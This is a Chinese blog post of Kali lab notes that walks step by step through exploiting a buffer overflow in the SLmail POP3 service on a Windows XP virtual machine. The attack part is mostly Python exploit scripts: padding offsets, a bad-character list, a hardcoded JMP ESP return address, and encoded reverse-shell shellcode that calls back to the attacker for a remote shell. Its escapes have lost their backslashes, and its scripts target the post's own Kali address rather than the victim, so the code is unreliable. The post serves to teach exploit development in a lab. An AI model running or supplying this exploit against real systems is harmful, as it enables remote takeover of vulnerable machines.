Erlo

Kali学习笔记22:缓冲区溢出漏洞利用实验

2018-10-31 10:27:55 发布   808 浏览  
页面报错/反馈
收藏 点赞

实验机器:

Kali虚拟机一台(192.168.163.133)

Windows XP虚拟机一台(192.168.163.130)

 

如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢?

 

用到的软件:

SLmail程序(存在缓冲区溢出漏洞)

ImmunityDebugger(调试工具)

mona脚本(配合调试工具使用)

这些在准备工作的文章中有百度网盘下载地址

 

实验目的:

用Kali虚拟机发送脚本,完成对SLmail程序的缓冲区溢出漏洞的利用

从而获取目标windows机器的最高权限

粗俗来说:黑了这个windows机器

 

缓冲区溢出漏洞的概念以及实验准备:

https://www.cnblogs.com/xuyiqing/p/9835561.html

 

缓冲区溢出实验(漏洞发现):

https://www.cnblogs.com/xuyiqing/p/9849072.html

 

接着上篇文章:

 上次以及精确定位到EIP在2606位置

 那么是否可以修改ESP寄存器呢?

 如何确认ESP寄存器的大小呢?

 写一个小脚本:

#!/usr/bin/python
import socket

buffer = 'A' * 2606 + 'B' * 4 + 'C' * (3500 - 2606 - 4)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "nSending evil buffer...n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + 'rn')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + 'rn')
    s.close()
    print 'nDone'
except:
    print 'Can not connect to POP3'

 

OK,隔了一段时间,先确认下有限服务器是否有问题:

 

没有问题,打开调试工具,attach到SLmail,可以尝试脚本:

 

 

看看调试工具:

EIP被精确地塞满B,ESP被塞满C

 

选中ESP右键Follow in dump:

再右键Hex选择ascii 16bytes格式显示:

观察C地起始位置和结束位置:

 

就我这里而言:起始地址0212A158,终止地址:0212A2F8

计算:

打开科学计算器,16进制计算,2F8-158,得到结果1A0

 

转换成10进制是416

 

思路:

通常使用的shellcode至少需要300字节左右

这里416个字节是足够的

如果我ESP这里上传一个shellcode,通过修改EIP的地址

让程序跳转到ESP寄存器,提取Shellcode代码执行

接下来就可以获取目标机器的最高权限

 

接下来我们具体实现:

 其实思路看似很简单,但是这之中还有一些细节问题必须要解决:

比如:有些字符在缓冲区有特定用途,不可以作为代码使用

就像0x00,终止字符串拷贝操作,0x0D,表示命令输入完毕

而这些字符根据协议和程序不同而不同,这些坏字符是不可以出现在缓冲区的

 

所以,我们需要先解决这些坏字符:确认哪些字符是坏字符

写一个脚本来确认:

发送0x00-0xff一共256个字符,一个一个地确认

想办法拼凑这些字符:然后发送

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = (
    "x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
    "x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
    "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
    "x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
    "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
    "x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
    "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
    "x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
    "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
    "x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
    "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
    "xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
    "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
    "xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
    "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
    "xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00")

buffer = "A" * 2606 + "B" * 4 + badchars
try:
    print "nSending evil buffer...n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + 'rn')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + 'rn')
    s.close()
    print 'nDone'
except:
    print 'Can not connect to POP3'

 

 

OK,我们来试试(如果Slmail服务崩了重启一下):

 发送过去看看调试工具:选择ESP右键dump看详细

 

 

仔细观察:发现01到09都发送过去了,而0A以后出问题了,缓冲区不能接收0A字符

大胆猜测:0A是个坏字符

OK,那么我们把脚本里面的0A去掉:

继续执行脚本:(注意重启POP服务)

 

不错,发现除了去掉的0A,00和0D(0D被过滤掉了),其他的字符全部都出现了

 

于是可以总结出:缓冲区的字符不能出现0A,0D,00

 

接下来就可以做数据的重定向:

把EIP四个字节改为ESP的地址理论上CPU在EIP提取地址读取然后执行

 

看似很简单,其实还有很多的细节要处理

比如:ESP的地址是变化的,不可以硬编码

因为:Slmail是基于线程的应用程序,操作系统给每个线程分配一个地址范围,每个线程地址范围随机

 

变通思路

目标内存地址变动时候,在内存中寻找一个操作系统自带的模块,而且这个模块的地址是固定

找个一个不变的内存地址,调用系统模块的JMP,ESP指令的地址,再由该指令间接跳转

 

即:把Slmail的EIP寄存器放入上边说到的这个固定模块的JMP,ESP指令的地址,CPU读取JMP,ESP内存地址,进而跳到shellcode

 

形象来说:就是某男想要追女神,但不知道她的微信,但某男认识她的闺蜜,这样一来就可以得到女神微信了(可能不合适,大概理解下)

 

接下来呢?

如何知道哪个系统模块的地址是固定的呢?

这里就需要用到准备工作里面的mona.py脚本(把脚本放在调试工具目录里面)

 左下角输入!mona modules查询所有系统模块:

 

关注rebase这一栏:重启内存地址是否变化,我们必须找false的

ASLR和SafeSEH和NSCompat都是保护内存的项目

因此,我们要找前四项都是false的

 

OS dll这一列要选true,不同系统都可以利用的

 

仔细寻找后,发现:OpenC32.dll可以使用

 

继续使用mona查询下OpenC32.dll里面是否有JMP,ESP指令可以调用:

!mona find -s" " -m module 命令可以查询

注意查询命令不可以直接查JMP ESP

这是汇编指令,而内存中使用的是二进制

 

这里需要使用Kali系统自带的一个工具:可以将汇编指令转换成二进制

 

 

发现转换成二进制是FFE4:

 

搜索FFE4:

没找到:

 

一样的方法在下面找找:

只有SLMFC.DLL和MFC42LOC.DLL前四项false,最后一项true

 

分别试下:

 

 

终于找到了!哈哈

而且有19条(由于Slmail不含有很内存保护机制,所以理论上这19个都可以实现利用)

如果有内存保护机制,需要下面这个有R(读)和E(执行)权限的(菜单栏点击m打开内存地图)

 

19条中随便打开一个,右键dis开头的选项:

找到了:5F4B41E3地址

 

接下来就可以使用这个地址

可以地址右键memory on access(开启断点)后边测试看

 

继续,我们针对这个写一个脚本:(注意地址要反过来写)

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = "A" * 2606 + "xe3x41x4bx5f" + "C" * 390
try:
    print "nSending evil buffer...n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + 'rn')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + 'rn')
    s.close()
    print 'nDone'
except:
    print 'Can not connect to POP3'

 

测试:正确跳转

 

接下来就是最后一部了:

把ESP里面这一堆C修改成Shellcode

 那么shellcode怎么获取呢?

 

利用Kali里面现成的shellcode:

msfpayload

 

具体使用:

我的思路是Kali机器开一个端口,让windows机器自己连过来

这样可以避免被防火墙屏蔽(虽然现在我把防火墙关了)

让目标把shell给我

 

指定反向连接的IP和端口,针对win32

 

这里就生成了一个shellcode

 

但是这个shellcode不能直接用,因为含有坏字符

所以要去掉坏字符

这里就要用到另一个工具了:Msfencode

 

把这些shellcode复制出来,继续写一个脚本:

这里加了8个x90是什么意思呢?

汇编语言的x90意思是不操作

这里是为了保障汇编语言运行的有效性(经验之谈,防止异常)

 

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode = ("x6ax48x59xd9xeexd9x74x24xf4x5bx81x73x13xabx9cx6d" +
             "xf8x83xebxfcxe2xf4x57xf6x86xb5x43x65x92x07x54xfc" +
             "xe6x94x8fxb8xe6xbdx97x17x11xfdxd3x9dx82x73xe4x84" +
             "xe6xa7x8bx9dx86xb1x20xa8xe6xf9x45xadxadx61x07x18" +
             "xadx8cxacx5dxa7xf5xaax5ex86x0cx90xc8x49xd0xdex79" +
             "xe6xa7x8fx9dx86x9ex20x90x26x73xf4x80x6cx13xa8xb0" +
             "xe6x71xc7xb8x71x99x68xadxb6x9cx20xdfx5dx73xebx90" +
             "xe6x88xb7x31xe6xb8xa3xc2x05x76xe5x92x81xa8x54x4a" +
             "x0bxabxcdxf4x5excaxc3xebx1excaxf4xc8x92x28xc3x57" +
             "x80x04x90xccx92x2exf4x15x88x9ex2ax71x65xfaxfexf6" +
             "x6fx07x7bxf4xb4xf1x5ex31x3ax07x7dxcfx3exabxf8xdf" +
             "x3exbbxf8x63xbdx90x6bx34xcex7cxcdxf4x6cx44xcdxcf" +
             "xe4x19x3exf4x81x01x01xfcx3ax07x7dxf6x7dxa9xfex63" +
             "xbdx9exc1xf8x0bx90xc8xf1x07xa8xf2xb5xa1x71x4cxf6" +
             "x29x71x49xadxadx0bx01x09xe4x05x55xdex40x06xe9xb0" +
             "xe0x82x93x37xc6x53xc3xeex93x4bxbdx63x18xd0x54x4a" +
             "x36xafxf9xcdx3cxa9xc1x9dx3cxa9xfexcdx92x28xc3x31" +
             "xb4xfdx65xcfx92x2exc1x63x92xcfx54x4cx05x1fxd2x5a" +
             "x14x07xdex98x92x2ex54xebx91x07x7bxf4x9dx72xafxc3" +
             "x3ex07x7dx63xbdxf8")

buffer = "A" * 2606 + "xe3x41x4bx5f" + "x90" * 8 + shellcode
try:
    print "nSending evil buffer...n"
    s.connect(('192.168.163.133', 110))
    data1 = s.recv(1024)
    s.send('USER test' + 'rn')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + 'rn')
    s.close()
    print 'nDone'
except:
    print 'Can not connect to POP3'

 

发送过去!

理想情况:如果脚本执行成功,会反弹回连444端口

所以我先侦听kali的444端口:

 

成功!我们可以操作windows系统了!

 OK!拿下了windowsxp系统(乱码小问题,不用在意)

 

成功黑掉了windowsxp机器,哈哈哈

 

登录查看全部

参与评论

评论留言

还没有评论留言,赶紧来抢楼吧~~

手机查看

返回顶部

给这篇文章打个标签吧~

棒极了 糟糕透顶 好文章 PHP JAVA JS 小程序 Python SEO MySql 确认